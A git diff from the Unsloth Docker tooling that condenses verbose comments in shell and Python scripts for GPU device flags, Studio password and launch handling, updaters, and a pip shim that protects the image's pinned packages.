- # librocdxg is NOT in the image and cannot be: its cmake build needs the Windows
- # 11 SDK 'shared' headers off the host (see scripts/install_rocm_wsl_strixhalo.sh),
- # which no Linux build runner has. Mount the host's, which that helper installs.
+ # librocdxg cannot be built into the image (needs Windows SDK headers); mount the host's.
local _so=""
for _c in "$DEV_ROOT"/opt/rocm/lib/librocdxg.so.1* "$DEV_ROOT"/opt/rocm-*/lib/librocdxg.so.1* \
"$DEV_ROOT"/opt/rocm/lib64/librocdxg.so.1* ; do
@@ -95,8 +87,7 @@ amd_dxg_flags() {
return 0
fi
printf '%s\n' -v "${_so}:/usr/lib/x86_64-linux-gnu/librocdxg.so:ro"
- # librocdxg dlopens libdxcore from WSL's own lib directory, which the image
- # does not have on its search path.
+ # librocdxg dlopens libdxcore from WSL's lib dir.
if [[ -d "$DEV_ROOT/usr/lib/wsl/lib" ]]; then
printf '%s\n' -v /usr/lib/wsl/lib:/usr/lib/wsl/lib:ro -e LD_LIBRARY_PATH=/usr/lib/wsl/lib
else
@@ -106,16 +97,12 @@ amd_dxg_flags() {
printf '%s\n' -e HSA_ENABLE_DXG_DETECTION=1
return 0
}
-# Named once: the NVIDIA toolkit installer, both as the fallback download below
-# and in the message that tells you to run it yourself.
TOOLKIT_URL="${UNSLOTH_TOOLKIT_URL:-https://raw.githubusercontent.com/unslothai/unsloth/main/docker/install_nvidia_toolkit.sh}"
-# --group-add needs NUMERIC gids: a name is resolved INSIDE the container, where
-# the host's video/render groups do not exist.
+# --group-add needs NUMERIC gids: names resolve inside the container.
amd_device_flags() {
printf '%s\n' --device /dev/kfd
- # docker refuses to start at all over a missing host device, so name /dev/dri
- # only when it exists and let the entrypoint explain the incomplete driver.
+ # docker refuses to start over a missing host device.
if [[ -e "$DEV_ROOT/dev/dri" ]]; then
printf '%s\n' --device /dev/dri
else
@@ -124,14 +111,13 @@ amd_device_flags() {
command -v getent >/dev/null 2>&1 || return 0
local _grp _gid
for _grp in video render; do
- # getent exits nonzero for an unknown group (minimal hosts have no
- # render group), which under pipefail + set -e would kill the assignment.
+ # getent fails for an unknown group, which would kill the assignment under set -e.
_gid="$(getent group "$_grp" | cut -d: -f3)" || _gid=""
[[ -n "$_gid" ]] && printf '%s\n' --group-add "$_gid"
done
return 0
}
-# Into GPU_FLAG, one flag per line, with a read loop: macOS ships bash 3.2.
+# Read loop, not mapfile: macOS ships bash 3.2.
collect_amd_device_flags() {
local _flag
GPU_FLAG=()
@@ -165,8 +151,7 @@ if [[ $ROCM -eq 1 ]]; then
else
IMAGE="${UNSLOTH_IMAGE:-unsloth/unsloth:latest}"
GPUS="${UNSLOTH_GPUS:-all}"
-# Translate index selectors to Docker's `device=` form: a bare integer is a COUNT,
-# not an INDEX, so `UNSLOTH_GPUS=0` would expose zero GPUs.
+# A bare integer is a COUNT to --gpus, so translate indexes to `device=`.
GPU_FLAG=(--gpus "$GPUS")
case "$GPUS" in
none) GPU_FLAG=() ;;
@@ -181,9 +166,8 @@ fi
HF_CACHE="${HF_HOME:-$HOME/.cache/huggingface}"
TRITON_CACHE="${TRITON_CACHE_DIR:-$HOME/.cache/unsloth-triton}"
WORK_DIR="${UNSLOTH_WORKDIR:-$PWD}"
-# Studio's data lives under /opt/unsloth-studio and the image relinks its code there at
-# every start, so the volume survives `docker rm` without pinning the code. `-` (not `:-`):
-# an explicitly empty value disables the mount. On :core it is an empty dir the image never reads.
+# The image relinks its code into the volume at every start. `-`, not `:-`: an explicitly
+# empty value disables the mount.
STUDIO_VOLUME="${UNSLOTH_STUDIO_VOLUME-unsloth-studio}"
STUDIO_MOUNT=()
if [ -n "$STUDIO_VOLUME" ]; then
@@ -214,9 +198,7 @@ first_dir() {
host_path() {
local path="$1"
case "$path" in
- # backslash, not quotes: a quoted ~ reads to shellcheck as a literal tilde
- # that will never expand (SC2088), and an unquoted one would be expanded
- # in the pattern itself. Escaped, it matches the literal character.
+ # Escaped ~ matches the literal character (a quoted one trips SC2088).
\~ | \~/*) path="$HOME${path:1}" ;;
[A-Za-z]:\\* | [A-Za-z]:/*) path="$(wslpath -u "$path" 2>/dev/null)" || path="" ;;
esac
@@ -271,11 +253,8 @@ mount_models Ollama "${UNSLOTH_OLLAMA_DIR:-$(ollama_dir)}" /root/.ollama/models
mount_models Hermes "${UNSLOTH_HERMES_DIR:-$(hermes_dir)}" /root/.hermes/models
mount_models local "${UNSLOTH_MODELS_DIR:-}" /workspace/models
-# Docker resolves --gpus in the DAEMON, before the container exists: on a host with
-# no NVIDIA GPU it dies with "failed to discover GPU vendor from CDI: no known GPU
-# vendor found" and exit 125, so entrypoint.sh never runs and its diagnostics never
-# print. Drop the flag instead and let the container start, so the user gets the
-# entrypoint's explanation (or, on :latest, Studio in CPU mode).
+# --gpus fails in the daemon (exit 125) on a host without NVIDIA, before the entrypoint can
+# explain; drop the flag instead.
host_has_nvidia() {
local listing
[[ -e "$DEV_ROOT/dev/nvidiactl" ]] && return 0
@@ -290,9 +269,7 @@ if [[ $ROCM -eq 0 && ${#GPU_FLAG[@]} -gt 0 ]] && ! host_has_nvidia; then
printf " 'docker run --gpus' would fail at the daemon (exit 125) before the\n" >&2
printf " container starts. Set UNSLOTH_GPUS=none to silence this.\n" >&2
GPU_FLAG=()
- # AMD host: hand llama.cpp/GGUF the render nodes. This is NOT torch acceleration
- # -- torch in the image is cu128 and torch.cuda.is_available() stays False here.
- # Run --rocm instead for a torch that can use the card.
+ # Render nodes help llama.cpp only; torch here is cu128. Use --rocm for torch on AMD.
if [[ -e "$DEV_ROOT/dev/kfd" && -d "$DEV_ROOT/dev/dri" ]]; then
collect_amd_device_flags
printf " AMD devices found: passing /dev/kfd and /dev/dri through.\n" >&2
@@ -315,8 +292,7 @@ fi
# UNSLOTH_INSTALL_TOOLKIT=1 says yes without a prompt, =0 never asks; with neither and no terminal, print the one-liner and continue.
DOCKER_INFO=""
DOCKER_ERR=""
-# A mixed NVIDIA + AMD host under --rocm is not missing anything: it runs the ROCm
-# image through the AMD device nodes, so the toolkit is irrelevant there.
+# Under --rocm the NVIDIA toolkit is irrelevant.
if [[ $ROCM -eq 0 && ${#GPU_FLAG[@]} -gt 0 ]] && host_has_nvidia; then
# stderr folded in: on failure the captured text IS the daemon's error
DOCKER_INFO="$(docker info 2>&1)" || { DOCKER_ERR="$DOCKER_INFO"; DOCKER_INFO=""; }
@@ -326,12 +302,8 @@ if [[ -n "$DOCKER_ERR" ]]; then
printf " Start the Docker daemon, or add yourself to the docker group (newgrp docker).\n\n" >&2
elif [[ $ROCM -eq 0 && ${#GPU_FLAG[@]} -gt 0 ]] && host_has_nvidia \
&& ! grep -qi 'Runtimes:.*nvidia' <<<"$DOCKER_INFO"; then
- # run.sh is also published on its own, so the sibling installer is missing
- # whenever it was curled rather than cloned. Fetch it in that case: offering
- # to run a path that does not exist is worse than not offering at all.
+ # run.sh is published standalone, so fetch the installer when it is not beside it.
INSTALLER="$(dirname "${BASH_SOURCE[0]}")/install_nvidia_toolkit.sh"
- # Download it next to run.sh rather than into a scratch file: the path is then
- # the one the message names, and a second run reuses it instead of refetching.
if [[ ! -f "$INSTALLER" ]]; then
curl -fsSL "$TOOLKIT_URL" -o "$INSTALLER" 2>/dev/null || { rm -f "$INSTALLER"; INSTALLER=""; }
fi
@@ -342,9 +314,7 @@ elif [[ $ROCM -eq 0 && ${#GPU_FLAG[@]} -gt 0 ]] && host_has_nvidia \
read -r -p " Install it now with sudo (bash $INSTALLER)? [Y/n] " answer </dev/tty || answer=n
answer="${answer:-y}"
fi
- # Nothing on disk to run: a forced UNSLOTH_INSTALL_TOOLKIT=1 would otherwise
- # select the branch below and `bash ""` would fail into `|| true`, leaving the
- # user with no toolkit, no error, and a docker run that still lacks the runtime.
+ # Without an installer on disk, never take the install branch.
[[ -n "$INSTALLER" ]] || answer=n
case "$answer" in
1|[Yy]*)
diff --git a/docker/smoke_test_rocm.py b/docker/smoke_test_rocm.py
index 7c28dddbfa1..30f9ac0cf52 100644
--- a/docker/smoke_test_rocm.py
+++ b/docker/smoke_test_rocm.py
@@ -32,8 +32,6 @@ def check_torch() -> None:
banner("torch ROCm build")
import torch
- # torch.version.hip is the canonical indicator of a ROCm wheel.
- # It is None for CUDA builds.
if torch.version.hip is None:
sys.exit(
f"FAIL: this is not a ROCm torch build ({torch.__version__}). "
@@ -52,19 +50,13 @@ def check_torch() -> None:
for i in range(n):
name = torch.cuda.get_device_name(i)
props = torch.cuda.get_device_properties(i)
- # PyTorch ROCm surfaces the gfx code in gcnArchName (e.g.
- # "gfx1100:sramecc+"); strip the feature suffix for readability.
+ # gcnArchName looks like "gfx1100:sramecc+"; strip the feature suffix.
arch = getattr(props, "gcnArchName", "").split(":")[0]
bf16 = torch.cuda.is_bf16_supported()
print(f"device {i} {name} arch={arch} bf16={bf16}")
print()
- # ROCm does not expose a reliable sm_X.Y compute capability the way NVIDIA
- # does -- the values from get_device_properties() vary by ROCm version and
- # don't map cleanly to gfx codes. Which arches the wheels carry is decided
- # by the ROCm version and index the image was built with (Dockerfile.rocm);
- # the entrypoint already printed the arch note for this card.
- # A device the runtime lists but cannot run a kernel on shows up here, not
- # in device_count().
+ # ROCm compute capability does not map cleanly to gfx codes, so run a real kernel; a
+ # listed but unusable device fails here.
x = torch.ones(64, 64, device = "cuda", dtype = torch.float16)
y = (x @ x).float().sum().item()
assert y == 64 * 64 * 64, f"FAIL: fp16 matmul on the GPU returned {y}, expected {64 * 64 * 64}"
@@ -73,9 +65,7 @@ def check_torch() -> None:
def check_imports() -> None:
banner("dep imports")
- # unsloth must be imported before transformers/trl/peft so its
- # monkey-patches land, and before unsloth_zoo so it sees
- # UNSLOTH_IS_PRESENT. Import order matches the CUDA smoke test.
+ # Import unsloth before transformers/trl/peft and unsloth_zoo, as in the CUDA smoke test.
import unsloth
print(f"unsloth {unsloth.__version__}")
diff --git a/docker/studio_home.sh b/docker/studio_home.sh
index 57a11bfea85..0ac9820120e 100755
--- a/docker/studio_home.sh
+++ b/docker/studio_home.sh
@@ -122,9 +122,8 @@ set_aside() {
shopt -s dotglob nullglob
-# unsloth-studio-update renames src to .src-prev.* and the staged tree into place; a kill
-# between the two leaves the previous tree as the only copy, so put it back before the
-# loop below prunes the home's src link as dangling.
+# A killed unsloth-studio-update can leave .src-prev.* as the only copy; restore it before
+# the loop prunes the src link.
if [ ! -e "$APP/src" ]; then
prev=("$APP"/.src-prev.*)
if [ "${#prev[@]}" -eq 1 ] && [ -d "${prev[0]}" ]; then
@@ -165,10 +164,7 @@ for target in "$HOME_DIR"/*; do
esac
done
-# A killed update (docker stop ends in SIGKILL) can leave its previous tree beside src
-# and half-replaced packages; unsloth-studio-update keeps a record beside src until the
-# update is committed. Finish that restore here, before supervisord starts Studio on the
-# unverified tree. The home is linked by now, so the updater finds the venv.
+# Finish a killed update's rollback before supervisord starts Studio.
if [ -s "$APP/.src-update.rollback" ]; then
updater="${UNSLOTH_STUDIO_UPDATER:-/usr/local/bin/unsloth-studio-update}"
if [ -x "$updater" ]; then
diff --git a/docker/studio_launch.sh b/docker/studio_launch.sh
index adbea478b75..e58aef1010a 100644
--- a/docker/studio_launch.sh
+++ b/docker/studio_launch.sh
@@ -32,9 +32,8 @@ if [[ -n "${SSH_KEY:-${PUBLIC_KEY:-}}" ]] && (( UNSLOTH_STUDIO_PORT == 22 )); th
printf "\033[1;31mERROR:\033[0m UNSLOTH_STUDIO_PORT=22 is sshd's port inside the container when SSH_KEY or PUBLIC_KEY is set.\n" >&2
exit 1
fi
-# JupyterLab starts first and wins the bind, so Studio silently falls back to an unpublished
-# port. Compared as traitlets does, via int(): whitespace, leading zeros, a leading + and
-# underscores ("08000", " 8000", "8_000") all bind 8000.
+# JupyterLab binds first, so Studio would silently move; compare ports via int() as
+# traitlets does.
jupyter_port_digits="${JUPYTER_PORT//[[:space:]_]/}"
jupyter_port_digits="${jupyter_port_digits#+}"
if [[ "$jupyter_port_digits" =~ ^[0-9]+$ ]] && (( 10#$jupyter_port_digits == UNSLOTH_STUDIO_PORT )); then
@@ -53,9 +52,8 @@ export UNSLOTH_STUDIO_STOP_WAIT_S=$(( 10#$UNSLOTH_STUDIO_SHUTDOWN_STOP_TIMEOUT_S
export UNSLOTH_STUDIO_HOME="${UNSLOTH_STUDIO_HOME:-/opt/unsloth-studio}"
export UNSLOTH_JUPYTER_CLOUDFLARE="${UNSLOTH_JUPYTER_CLOUDFLARE:-0}"
-# SSH login shells lack the `docker run -e` vars. Secrets are excluded on purpose,
-# and every value is shlex.quote()d because this file is sourced by every login shell.
-# The ROCm prefixes are the image's ROCBLAS_USE_HIPBLASLT and a user's HSA_OVERRIDE_GFX_VERSION.
+# SSH login shells lack the `docker run -e` vars. Secrets excluded; values shlex.quote()d
+# because every login shell sources this file.
python - > /etc/profile.d/unsloth_env.sh <<'PY' || true
import os, re, shlex
keep = re.compile(r"^(HF_|CUDA_|NCCL_|HSA_|HIP_|ROCM_|ROCR_|ROCBLAS_|JUPYTER_|UNSLOTH_|WANDB_|TRITON_)|^PATH$")
@@ -96,15 +94,8 @@ EOF
&& "${UNSLOTH_SKIP_NOTEBOOK_SYNC:-0}" != "1" \
&& "${_view_dir}" == "${_root_dir}/"* ]]; then
_view_rel="${_view_dir#${_root_dir}/}"
- # default_url must be set on BOTH ServerApp and LabApp, or the lab app
- # overrides ServerApp back to /lab.
- #
- # repr() rather than interpolation into a heredoc: a double quote in the
- # path closed the string literal and made jupyter_lab_config.py a
- # SyntaxError, so the documented override stopped the service starting,
- # and a backslash silently changed the path. Both are legal POSIX
- # characters. Values arrive via the environment, like the password block
- # above, so the shell side needs no quoting either.
+ # default_url must be set on BOTH ServerApp and LabApp. repr() via env, not heredoc
+ # interpolation, so quotes or backslashes in the path cannot break the config.
UNSLOTH_VIEW_REL="${_view_rel}" UNSLOTH_VIEW_DIR="${_view_dir}" \
python - >> "${JUPYTER_CONFIG_DIR}/jupyter_lab_config.py" <<'PY'
import os
@@ -147,10 +138,8 @@ if [[ "${UNSLOTH_SKIP_BRANDING_CHECK:-0}" != "1" ]]; then
fi
export UNSLOTH_JUPYTER_NOTE="${JUPYTER_NOTE}" # for the ready summary (studio-password)
-# UNSLOTH_STUDIO_PASSWORD only sets the initial admin password, and `unsloth studio`
-# exits 1 when handed one after that. So it goes to a root-only file that
-# unsloth-studio-run consumes while nothing is stored, and never into supervisord's
-# environment, where every respawn of the studio program would see it again.
+# UNSLOTH_STUDIO_PASSWORD only sets the initial password and `unsloth studio` exits 1 when
+# given one later, so it goes to a root-only file, never supervisord's environment.
INITIAL_FILE="${UNSLOTH_STUDIO_INITIAL_PASSWORD_FILE:-/run/unsloth/studio-initial-password}"
rm -f "$INITIAL_FILE"
if unsloth-studio-run --stored; then
diff --git a/docker/studio_password.sh b/docker/studio_password.sh
index 7fb8578151e..46f9f86b055 100755
--- a/docker/studio_password.sh
+++ b/docker/studio_password.sh
@@ -21,10 +21,8 @@ JUPYTER_PORT="${JUPYTER_PORT:-8888}"
STATE="${UNSLOTH_STUDIO_PASSWORD_STATE:-}"
[[ -z "$STATE" && -n "${UNSLOTH_STUDIO_PASSWORD:-}" ]] && STATE=initial
-# Same rules as studio/backend/auth/bootstrap_timeout.py: unset, blank or malformed
-# means the 3600 s default (a typo must not hide the note), 0 or negative disables.
-# Only the surrounding whitespace is stripped, as int() does: "- 5" is malformed,
-# "1_000" is 1000 (single underscores between digits).
+# Same rules as studio/backend/auth/bootstrap_timeout.py: unset/blank/malformed = 3600,
+# <= 0 disables; whitespace stripped and single underscores allowed, as int() does.
raw="${UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT:-}"
raw="${raw#"${raw%%[![:space:]]*}"}"
raw="${raw%"${raw##*[![:space:]]}"}"
@@ -54,9 +52,7 @@ case "$STATE" in
*)
deadline=$(( $(date +%s) + WAIT ))
STUDIO_LINE=""
- # The file alone is not enough: the CLI writes it before committing the admin
- # row, so a launch interrupted between the two leaves a file the next launch
- # replaces. Wait for the row, and read the file after it.
+ # The CLI writes the file before committing the admin row, so wait for the row.
while [[ ! -s "$FILE" ]] || ! unsloth-studio-run --initialized; do
if (( $(date +%s) >= deadline )); then
STUDIO_LINE="the first-boot password did not appear in ${WAIT}s; check the Unsloth Studio log above"
@@ -76,8 +72,7 @@ case "$STATE" in
esac
echo "Unsloth Studio login -> ${STUDIO_LINE}"
-# The summary waits for real answers: Studio's socket opens before torch is loaded,
-# and /api/health only turns 200 once the app is serving.
+# Studio's socket opens before torch loads; wait for /api/health 200.
studio_ok=""; jupyter_ok=""
deadline=$(( $(date +%s) + READY_WAIT ))
while :; do
@@ -100,11 +95,7 @@ studio_text="not answering"
[[ -n "$studio_ok" ]] && studio_text="$STUDIO_LINE"
jupyter_text="not answering"
[[ -n "$jupyter_ok" ]] && jupyter_text="${UNSLOTH_JUPYTER_NOTE:-password from JUPYTER_PASSWORD env}"
-# This block is the only part of a long startup log the reader needs, and plain
-# echo left it indistinguishable from the supervisord and Jupyter noise around
-# it, so the URLs and the generated passwords went unread. Colour the rules and
-# title, the links, and the two credential fields. NO_COLOR (no-color.org) turns
-# it off for anything collecting these logs into a file.
+# Colour the summary so it stands out from the startup noise; NO_COLOR turns it off.
if [[ -n "${NO_COLOR:-}" ]]; then
_b=""; _g=""; _y=""; _r=""
else
diff --git a/docker/studio_run.sh b/docker/studio_run.sh
index b0cc343e99c..ab653dabfc1 100644
--- a/docker/studio_run.sh
+++ b/docker/studio_run.sh
@@ -32,10 +32,8 @@ PY
}
password_stored() {
- # The admin row with must_change_password=0. A bare auth.db from an interrupted
- # first launch, or a seeded row nobody changed, still accepts an initial password.
- # A row from before that column existed counts as stored: the CLI migrates it
- # with default 0 and then rejects an initial password.
+ # Stored = admin row with must_change_password=0; a row predating that column counts as
+ # stored (the CLI migrates it with default 0).
python3 - "${STUDIO_HOME}/auth/auth.db" <<'PY'
import sqlite3, sys
from urllib.parse import quote
@@ -69,22 +67,10 @@ if [[ -s "$INITIAL" ]] && ! password_stored; then
IFS= read -r -d '' UNSLOTH_STUDIO_PASSWORD < "$INITIAL" || true
export UNSLOTH_STUDIO_PASSWORD
fi
-# Exposure. The default stays -H 0.0.0.0 because that is what makes a published
-# -p 8000:8000 reachable at all; the container is the boundary, the host's -p
-# decides who sees it.
-#
-# UNSLOTH_STUDIO_SECURE=1 --secure: a Cloudflare HTTPS link and nothing
-# else. Studio forces a loopback bind itself, so
-# -p 8000:8000 would publish a port nothing is
-# listening on. Fails closed if the tunnel does
-# not come up.
-# UNSLOTH_STUDIO_CLOUDFLARE=1 --cloudflare: the same public HTTPS link, with
-# the local port still served, for a laptop that
-# wants both.
-#
-# Mirrors UNSLOTH_JUPYTER_CLOUDFLARE, which JupyterLab has had all along. The two
-# are mutually exclusive in the CLI, so refuse the pair here rather than let
-# supervisord restart Studio forever on an argument error.
+# Default -H 0.0.0.0 so a published -p is reachable; the container is the boundary.
+# UNSLOTH_STUDIO_SECURE=1: --secure (Cloudflare only, loopback bind, fails closed).
+# UNSLOTH_STUDIO_CLOUDFLARE=1: --cloudflare (link plus local port). Mutually exclusive;
+# refused here so supervisord does not restart Studio forever.
STUDIO_ARGS=(-H 0.0.0.0 -p "${UNSLOTH_STUDIO_PORT:-8000}")
if [[ "${UNSLOTH_STUDIO_SECURE:-0}" == "1" && "${UNSLOTH_STUDIO_CLOUDFLARE:-0}" == "1" ]]; then
echo "ERROR: set UNSLOTH_STUDIO_SECURE=1 or UNSLOTH_STUDIO_CLOUDFLARE=1, not both:" >&2
diff --git a/docker/test_locally-rocm.sh b/docker/test_locally-rocm.sh
index 3e3aa07dda8..ba6e7949531 100644
--- a/docker/test_locally-rocm.sh
+++ b/docker/test_locally-rocm.sh
@@ -49,9 +49,7 @@ warn() { printf "${YELLOW}WARN${NC} %s\n" "$*"; }
err() { printf "${RED}ERROR${NC} %s\n" "$*" >&2; }
fail() { err "$*"; exit 1; }
-# AMD GPU device flags used for all `docker run` invocations. --group-add needs
-# NUMERIC gids: a name is resolved inside the container, where the host's
-# video/render groups do not exist.
+# --group-add needs NUMERIC gids: names resolve inside the container.
AMD_DEVICE_FLAGS=(--device /dev/kfd --device /dev/dri)
for _grp in video render; do
_gid="$(getent group "$_grp" 2>/dev/null | cut -d: -f3)" || _gid=""
@@ -97,7 +95,6 @@ else
warn "Then: sudo usermod -aG video,render \$USER (log out and back in)"
fi
-# Check the user is in the video group -- required for /dev/dri access.
if id -nG 2>/dev/null | grep -qw video; then
echo " video group: ok (current user is a member)"
else
@@ -128,9 +125,7 @@ else
BUILD_LOG="$LOG_DIR/build.log"
echo " log: $BUILD_LOG"
- # Through build.sh, not a bare docker build: it freezes UNSLOTH_REF and
- # UNSLOTH_ZOO_REF to commits first, so a rerun after main moved cannot reuse
- # the install layer of an earlier build and validate stale code.
+ # Through build.sh: it freezes the git refs so a rerun cannot reuse a stale install layer.
IMAGE_NAME="${TAG%%:*}" TAG="${TAG#*:}" ROCM_VERSION="$ROCM_VERSION" \
TORCH_INDEX_URL="$TORCH_INDEX_URL" ROCM_GFX="$ROCM_GFX" \
bash "$BUILD_SH" --rocm 2>&1 | tee "$BUILD_LOG"
@@ -139,7 +134,6 @@ else
fail "build exited $rc -- see $BUILD_LOG"
fi
- # Sanity-check the build's own self-test ran and passed.
if grep -q "FAIL: missing packages\|Expected a ROCm torch wheel" "$BUILD_LOG"; then
fail "build-time sanity check failed -- see $BUILD_LOG"
fi
@@ -258,7 +252,6 @@ INNER
fi
# ============================================================================
-# Summary
# ============================================================================
banner "summary"
echo " image: $TAG"
diff --git a/docker/unsloth_llama_update.sh b/docker/unsloth_llama_update.sh
index a8641d8ea66..8ceefb29c8a 100755
--- a/docker/unsloth_llama_update.sh
+++ b/docker/unsloth_llama_update.sh
@@ -60,9 +60,7 @@ case "$(uname -m)" in
*) echo "unsloth-llama-update: unsupported arch $(uname -m)" >&2; exit 1;;
esac
-# The FULL "release_tag" is what --check compares against resolve_latest_tag; the
-# marker's "tag" is the normalized base build, so preferring it reports "an update is
-# available" forever on any install the in-app updater wrote.
+# Compare the full "release_tag"; the marker's "tag" is the normalized base build.
installed_tag() {
"$PY" - "$INSTALL_DIR" <<'PY' 2>/dev/null || echo "unknown"
import json, os, sys
@@ -138,10 +136,8 @@ cleanup() {
# same-named entry in the install dir is a half-moved NEW one
if [ -d "$backup" ]; then
_restore_fail=0
- # The loop below only sees names the OLD tree had, so a file the
- # new release introduced would survive into a mixed-version dir and
- # ggml dlopens every libggml-*.so next to the binaries. Gated on
- # "drained": before that, an entry here can be the only old copy.
+ # The loop below only sees the OLD tree's names and ggml dlopens every
+ # libggml-*.so, so remove new-only files too (only once drained).
if [ "$drained" = "1" ]; then
find "$INSTALL_DIR" -mindepth 1 -maxdepth 1 \
! -path "$work" ! -path "$backup" \
diff --git a/docker/unsloth_nb_compat.py b/docker/unsloth_nb_compat.py
index 40f012aadb9..646df4b9b50 100644
--- a/docker/unsloth_nb_compat.py
+++ b/docker/unsloth_nb_compat.py
@@ -144,19 +144,11 @@ def requested_version():
return None
-# --- install-cell pin scanning -------------------------------------------------
-# Lives here rather than in unsloth_run because this module is the one copied into
-# site-packages, so it is the only one a kernel can import; unsloth_run reads these
-# back out. One implementation, so the headless path and the IPython hook cannot
-# disagree about what an install line is.
-
-# The requirement NAME is matched loosely and normalised afterwards, because pip
-# accepts every PEP 503 spelling of it and unsloth_pip_shim canonicalises before it
-# decides what to drop. `Transformers==5.5.0` and `transformers[torch]==5.5.0` install
-# exactly what the canonical spelling installs and the shim drops all three, so a
-# scanner that only knew the canonical form left the pin unseen while the install was
-# still suppressed. The cell then imported the base version, and that import freezes
-# the sidecar choice for the life of the kernel with nothing left to correct it.
+# Install-cell pin scanning lives here because this is the module copied into
+# site-packages; unsloth_run imports it, so both paths agree.
+
+# The name is matched loosely and normalised (PEP 503), like unsloth_pip_shim, or
+# `Transformers[torch]==X` pins go unseen while the install is still suppressed.
_PIN_RE = re.compile(
r"(?<![\w.\-])([A-Za-z0-9][A-Za-z0-9._\-]*)[ \t]*(?:\[[^\]]*\])?[ \t]*=="
r"[ \t]*([0-9][0-9A-Za-z.\-]*)"
@@ -214,9 +206,7 @@ def pin_from(text):
return None
-# Only an actual install invocation may supply the pin: the pin outranks the model
-# tier, so a commented-out install line would pick the wrong sidecar with nothing
-# running afterwards to correct it.
+# Only an actual install line may supply the pin: it outranks the model tier.
_INSTALL_RE = re.compile(
r"""^[ \t]*(?![ \t]*\#)[!%]?[ \t]*
(?: uv (?:[ \t]+-{1,2}\S+)* [ \t]+ )?
@@ -296,9 +286,7 @@ def activate(version: str | None, *, quiet: bool = False):
return None
if d not in sys.path:
sys.path.insert(0, d)
- # guarded like the sys.path insert above: the hook runs on EVERY cell until
- # transformers is imported, so an unconditional prepend grows PYTHONPATH by one
- # copy per cell and every child process inherits the pile
+ # Guarded: the hook runs on every cell until transformers is imported.
_pp = os.environ.get("PYTHONPATH", "")
if d not in _pp.split(os.pathsep):
os.environ["PYTHONPATH"] = d + os.pathsep + _pp
@@ -322,11 +310,7 @@ def _pre_run_cell(info = None):
and every later cell got "already imported; cannot switch"."""
if "transformers" in sys.modules:
return
- # The cell's own pin outranks the marker, which is a record of an install that has
- # ALREADY run. Within one notebook a later cell can pin a different version, and
- # the marker still holds the earlier one; the marker path also falls back to
- # pid-<pid> when the ipykernel connection file cannot be read, and /tmp is never
- # swept, so a recycled pid inherits someone else's pin.
+ # The cell's own pin outranks the marker, which may be stale or from a recycled pid.
v = pin_in_cell(getattr(info, "raw_cell", None)) or requested_version()
if v:
activate(v)
diff --git a/docker/unsloth_nb_content_sig.py b/docker/unsloth_nb_content_sig.py
index 9bd5339a34d..acff82890fd 100644
--- a/docker/unsloth_nb_content_sig.py
+++ b/docker/unsloth_nb_content_sig.py
@@ -187,9 +187,7 @@ def _normalize_install(text):
body = " ".join(line.split())
if not body:
continue
- # Keep the INDENTATION: the cell is an `if "COLAB_" not in ...:` block, so a
- # line's indent decides which runtime it runs on. Only the spacing WITHIN a
- # line churns, and tabs expand so a tab/space rewrite stays cosmetic.
+ # Keep the indentation: it decides which runtime branch a line is in.
indent = line[: len(line) - len(line.lstrip())]
lines.append(" " * len(indent.expandtabs(4)) + body)
return "\n".join(lines)
diff --git a/docker/unsloth_nb_strip_colab.py b/docker/unsloth_nb_strip_colab.py
index 635b0cf602c..283ddeeff8e 100644
--- a/docker/unsloth_nb_strip_colab.py
+++ b/docker/unsloth_nb_strip_colab.py
@@ -163,8 +163,7 @@ def _stage_clean(path):
def _publish(tmp, path, before):
"""Move the staged copy onto the notebook. False if it was not published."""
try:
- # JupyterLab is already serving the tree, so a save between the read above and
- # this replace would be overwritten and then recorded as pristine forever
+ # JupyterLab is serving the tree, so recheck before replacing.
if _sha256(path) != before:
_unlink(tmp)
return False
diff --git a/docker/unsloth_pip_shim.py b/docker/unsloth_pip_shim.py
index a8f6b1067b6..35b4d8b5203 100644
--- a/docker/unsloth_pip_shim.py
+++ b/docker/unsloth_pip_shim.py
@@ -16,9 +16,8 @@ import os, re, sys, tempfile
REAL = {"pip": "/opt/unsloth-venv/bin/pip", "uv": "/opt/unsloth-venv/bin/uv"}
MARKER = os.environ.get("UNSLOTH_NB_TF_MARKER", "/tmp/unsloth_nb/requested_transformers")
-# Membership criterion: replacing the package invalidates the stack the image was
-# built and tested against, either an ABI/CUDA-matched wheel the Dockerfile resolved
-# deliberately, or a library unsloth/unsloth_zoo patches by version at import time.
+# Kept: packages whose replacement invalidates the tested stack (ABI/CUDA-matched wheels,
+# or libraries unsloth patches by version).
_KEEP = {
"torch",
"torchvision",
@@ -140,12 +139,9 @@ _UPGRADE_PKG_FLAGS = {"-P", "--upgrade-package", "--reinstall-package"}
_ATTACHED_SHORT_FLAGS = {"-r", "-c", "-e", "-P"}
# these rebuild baked deps; the kept target still installs once they are dropped
_REINSTALL_FLAGS = {"--force-reinstall", "--ignore-installed", "-I", "--reinstall", "--exact"}
-# dropped with their value; eager would upgrade every dep of a kept target
-# Hidden ALIASES of flags already listed above. pip's --help prints only the
-# canonical spelling, so no amount of help-scraping can find these; the selfcheck now
-# introspects pip's own option table instead, which is where they came from.
-# --python-preference is a uv GLOBAL that appears in neither `uv --help` nor
-# `uv help`, and uv still accepts it.
+# Dropped with their value; eager would upgrade every dep of a kept target.
+# Hidden aliases of the flags above (absent from --help; the selfcheck reads pip's option
+# table). --python-preference is an undocumented uv global.
_ALIAS_VALUE_FLAGS = {
"--default-timeout",
"--local-log",
@@ -286,11 +282,7 @@ def _sdist_name(basename):
def _canon(token):
if token.startswith("-"):
return None
- # IGNORECASE: URL schemes are case insensitive and pip normalises them, so
- # `unsloth@GIT+HTTPS://...` is the same direct reference as the lowercase
- # spelling. Matching only lowercase missed the explicit name, fell through to the
- # URL branch, and returned None (or, for a .whl URL, the wheel's own stem), so a
- # protected package was classified unknown and forwarded.
+ # IGNORECASE: URL schemes are case insensitive and pip normalises them.
_dref = re.match(
r"^([A-Za-z0-9][A-Za-z0-9._-]*)\s*(?:\[[^\]]*\])?\s*@(?:\s|git\+|hg\+|bzr\+|svn\+|[a-z]+://)",
token,
@@ -352,11 +344,7 @@ def _local_project_name(token):
"""Name pip/uv would build for a local project dir, falling back to the basename
only when the dir is an installable project at all. None for a metadata-less dir,
so ordinary paths pass through."""
- # from uv's working directory, not ours: `uv pip --directory X install -e ./p`
- # stats ./p from X, so resolving it here against our own cwd misses and reports
- # the project as unknown. That is silent, and worse than the requirements-file
- # case, because the injected constraint only rejects a version MISMATCH: a local
- # checkout whose version equals the baked one installs and replaces it.
+ # Resolve from uv's --directory, not our cwd, or the project is misclassified as unknown.
path = _resolve_read_path(token.split("#", 1)[0])
